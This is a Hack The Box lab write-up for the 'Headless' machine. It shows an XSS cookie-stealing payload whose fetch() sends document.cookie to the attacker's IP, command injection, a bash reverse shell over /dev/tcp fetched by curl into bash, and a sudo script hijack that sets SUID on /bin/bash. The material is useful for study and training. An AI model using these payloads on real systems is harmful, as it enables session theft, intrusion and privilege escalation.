Headless writeup banner

Headless

Hack The Box Machine Writeup

Don't lose your head!

Don't lose your head!

Summary

Headless was an interesting easy Linux box that demonstrated some cool exploitation techniques but was not overly complex, focusing much more heavily on the user steps then the root steps. The user step centers around an XSS cookie hijack and command injection and the root step is a simple sudo script hijack.

To obtain User the attacker starts by enumerating a Werkzeug website in which there is a single contact us form. Submitting this with basic XSS payloads results in a hacking attempt discovered page that echoes the headers back onto the page. The useradmin header can then be used to execute an XSS attack and steal the is_admin cookie. This cookie can then be used to access the admin dashboard where this is a function with a command injection that can be used to get a shell on the machine.

The root step is much more straightforward. The attacker first finds the /usr/bin/syscheck can be run as root with sudo -l. Then looking at this file it appears to be a bash script which executes initdb.sh. By creating initdb.sh with a privilege escalation payload such as setting the bash binary to sticky bits we then escalate to root and complete the box.

Nothing is more scary then a chair or lamp at night time

Nothing is more scary then a chair or lamp at night time

User

Recon

Port scan with Nmap

I started off the machine as I always do with a port scan with Nmap to detect what is running on the box. I use -sC for default NSE scripts and -sV for service enumeration. Sudo runs a -sS stealth scan by default while without sudo it runs a -sT connect scan which is slower.

sh
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ sudo nmap -sC -sV 10.129.238.68
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-24 15:30 GMT
Stats: 0:01:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 15:32 (0:01:10 remaining)
Nmap scan report for 10.129.238.68
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 900294283dab2274df0ea3b20f2bc617 (ECDSA)
|_  256 2eb90824021b609460b384a99e1a60ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sun, 24 Mar 2024 15:30:11 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
<...?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.75 seconds

From the scan we can see SSH open on port 22 and a Werkzeug python webserver on port 5000.

Enumerate web server

The only thing to check from here is the webserver on port 5000. The main page has a coming soon countdown with a link to /support called for questions.

How exciting

How exciting

The /support path contains a form that can be submitted. Submitting this does not give any kind of indication that it worked or will be read by another user.

Is anyone there?

Is anyone there?

Intercepting the request with burp I noticed that there is an is_admin cookie set without http-only. This means that the cookie can be sent and accessed with JS code. This means that if we can get the admin/bot user to execute an XSS we can have that XSS send us back the user's is_admin cookie and steal their session.

is_admin is quite suspicious

is_admin is quite suspicious

It does feel like that though

It does feel like that though

Directory brute force with Feroxbuster

To continue enumerating the webserver I ran a directory brute force scan with Feroxbuster to see if there are any other routes we can access. It finds the route to /dashboard which shows as a 500 response.

sh
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ feroxbuster -u http://10.129.238.68:5000/ -w /opt/useful/SecLists/Discovery//Web-Content/raft-medium-words.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ _/ | |  \ |__
|    |___ |  \ |  \ | __,    __/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.9.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.238.68:5000/
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/useful/SecLists/Discovery//Web-Content/raft-medium-words.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.9.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       93l      179w     2363c http://10.129.238.68:5000/support
200      GET       96l      259w     2799c http://10.129.238.68:5000/
500      GET        5l       37w      265c http://10.129.238.68:5000/dashboard
[#########>----------] - 51s    31191/63089   53s     found:3       errors:0      
[####################] - 1m     63089/63089   0s      found:3       errors:0      
[####################] - 1m     63088/63088   585/s   http://10.129.238.68:5000/ 

The /dashboard route returns an unauthorized message. This furthers my suspicion that we need to hijack the is_admin cookie using the post form and then we should be able to access the /dashboard route.

Let me in!

Let me in!

Confirm XSS

I start by sending a request with basic XSS alert payloads in all the fields, using the name of the field so we know which one triggers what.

A good trick if you have to enumerate a lot of things quickly

A good trick if you have to enumerate a lot of things quickly

Submitting this results in a hacking attempt detected message demonstrating that there is some kind of filtering on our input.

Not gonna be that easy!

Not gonna be that easy!

The interesting thing is that the headers of the request are being echoed back to the HTML document here. That means that if we can inject an XSS payload into one of these headers it should execute the JS code. To test this I edit the last request to include a basic alert payload in the user agent. When sending this through burp we can see that the XSS indeed correctly shows up in the response.

always look for ways you can echo content onto the HTML document

always look for ways you can echo content onto the HTML document

At least the computer will always say it loves me

At least the computer will always say it loves me

To see this request in our browser we can right click on the response in burp, then click show response in the browser. This will open a new window where we can copy and paste the link in our browser.

Feel free to save a step and check the box

Feel free to save a step and check the box

Pasting this in we are then presented with the alert pop up confirming the XSS is working as intended.

Now the fun begins

Now the fun begins

Now we need to leverage the XSS vulnerability to steal the admin cookie. To do this we can use the fetch JS module which will make web requests for us. An example payload is like

<img src=x onerror=fetch('http://ip/?cookie='+document.cookie);>

In this we set the img src to an invalid location _x_, then we use the onerror trigger which will go because x is not a valid image location to execute the web request back to us with fetch and append the cookies as part of the URL. To accomplish all of this we first need to start our exfiltration server, I use python for this.

sh
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ python -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Now resend the request but this time change the user agent to our new cookie stealing payload. Don't forget to add the port 8000 to the URL like me.

Don't forget about URL encoding

Don't forget about URL encoding

Sending this request in burp after a couple seconds we get a hit on our python server containing the admin cookie!

sh
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ python -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.238.68 - - [24/Mar/2024 16:24:10] "GET /?cookie=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
Don't forget about the popup about them too, thanks EU

Don't forget about the popup about them too, thanks EU

Command Injection

Now that we have the cookie for the admin user we can go to /dashboard. Press f12 to bring up the developer console in our browser then go to the storage tab. Lastly we can click on the cookies section and change our is_admin cookie value to the one we got through the XSS.

There are lots of ways to do this, I like using the browser dev console

There are lots of ways to do this, I like using the browser dev console

Now when refreshing the page we are given the administrator dashboard and a button to generate a report.

Look at me, I am the admin now

Look at me, I am the admin now

Clicking the button results in a post request to /dashboard with the date parameter. This then gives us a response of systems being _up and running!_.

I wonder how it is using our date input?

I wonder how it is using our date input?

I then check the date field for command injection by using ; to inject a new command and ping to try to ping myself. To see if this works I start TCPdump on the HTB VPN tunnel interface.

 good to test before going to a shell

good to test before going to a shell

sh
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:32:33.105303 IP 10.129.238.68 > 10.10.14.190: ICMP echo request, id 42561, seq 1, length 64
16:32:33.105314 IP 10.10.14.190 > 10.129.238.68: ICMP echo reply, id 42561, seq 1, length 64
16:32:34.105851 IP 10.129.238.68 > 10.10.14.190: ICMP echo request, id 42561, seq 2, length 64
16:32:34.105862 IP 10.10.14.190 > 10.129.238.68: ICMP echo reply, id 42561, seq 2, length 64
16:32:35.106506 IP 10.129.238.68 > 10.10.14.190: ICMP echo request, id 42561, seq 3, length 64
16:32:35.106519 IP 10.10.14.190 > 10.129.238.68: ICMP echo reply, id 42561, seq 3, length 64

This works and confirms the presence of the command injection!

most of hacking is just fuzzing inputs

most of hacking is just fuzzing inputs

Shell as DVIR

From here we need to get a shell on the machine. To do this we can create a simple bash reverse shell script on our attacking host, then use curl to fetch it and | to pipe it into bash. Doing it this way helps to avoid any encoding errors that might arise. We will also need to start an NC listener to catch the shell

sh
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ cat shell.sh 
#!/bin/bash
/bin/bash -c 'exec bash -i &>/dev/tcp/10.10.14.190/42069 <&1'

┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ python -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.238.68 - - [24/Mar/2024 16:36:44] "GET /shell.sh HTTP/1.1" 200 -
Sometimes URL encoding can cause problems, this is a good way to get around it

Sometimes URL encoding can cause problems, this is a good way to get around it

sh
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ nc -lvnp 42069
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::42069
Ncat: Listening on 0.0.0.0:42069
Ncat: Connection from 10.129.238.68.
Ncat: Connection from 10.129.238.68:55936.
bash: cannot set terminal process group (1157): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ 

Upgrade shell and grab user.txt

Now that we have a foothold shell i like to use the script trick to upgrade my terminal. This will allow me to do things like tab complete and control c without exiting the shell.

sh
dvir@headless:~/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
dvir@headless:~/app$ ^Z
[1]+  Stopped                 nc -lvnp 42069
┌─[us-dedivip-1]─[10.10.14.190]─[htb-mp-904224@htb-z609hwln9p]─[~/Desktop]
└──╼ [★]$ stty raw -echo;fg
nc -lvnp 42069
              reset
reset: unknown terminal type unknown
Terminal type? screen
dvir@headless:~$ cat user.txt
1cfa1e9e266d8dc48252c2b2e5bc18a7

Root

Enumeration

Manual enumeration

Whenever I land on a new box I like to start checking for privilege escalation vectors manually before bringing over something like Linpeas. In this case checking sudo permissions with -l works and we can see that our user can run /usr/bin/syscheck as root with no password

sh
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

Syscheck Sudo Script Hijack

running the /usr/bin/syscheck binary does not result in anything seemingly happening. We have read access to it though so looking at the code we can see it checks if the effective user id is 0 or root, and if not it exits. Since we are running it with sudo however it will be run as root and pass this first check. then it echoes some information and most importantly runs the initdb.sh script file.

sh
dvir@headless:~$ cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

I then checked if initdb.sh exists with a find command. It did not, so I proceeded to create it and put a payload inside to add sticky bit permissions to the /bin/bash binary. This means that when it runs it will run with the rights of the application owner/creator who in this case is root. The last thing to do is to give the new script execute permissions so it can be run by the syscheck check.

sh
dvir@headless:~$ find -name / initdb.sh 2>/dev/null
dvir@headless:~$ echo "chmod u+s /bin/bash" > initdb.sh
dvir@headless:~$ chmod +x initdb.sh 

Now when running /usr/bin/syscheck as sudo it should run the initdb.sh script we created and assign a sticky bit to the bash binary which ran with -p will grant us a shell with EUID of root. From there we can grab root.txt and complete the machine.

sh
dvir@headless:~$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average:  0.01, 0.04, 0.06
Database service is not running. Starting it...
dvir@headless:~$ ls /bin/bash -la
-rwsr-xr-x 1 root root 1265648 Apr 24  2023 /bin/bash
dvir@headless:~$  /bin/bash -p   
bash-5.2# id
uid=1000(dvir) gid=1000(dvir) euid=0(root) groups=1000(dvir),100(users)
bash-5.2# cat root.txt
04493608e31c024f92168efee72c4e70
Congrats on another box completed!

Congrats on another box completed!

Additional Resources

Ippsec video walkthrough

0xdf writeup

0xdf.gitlab.io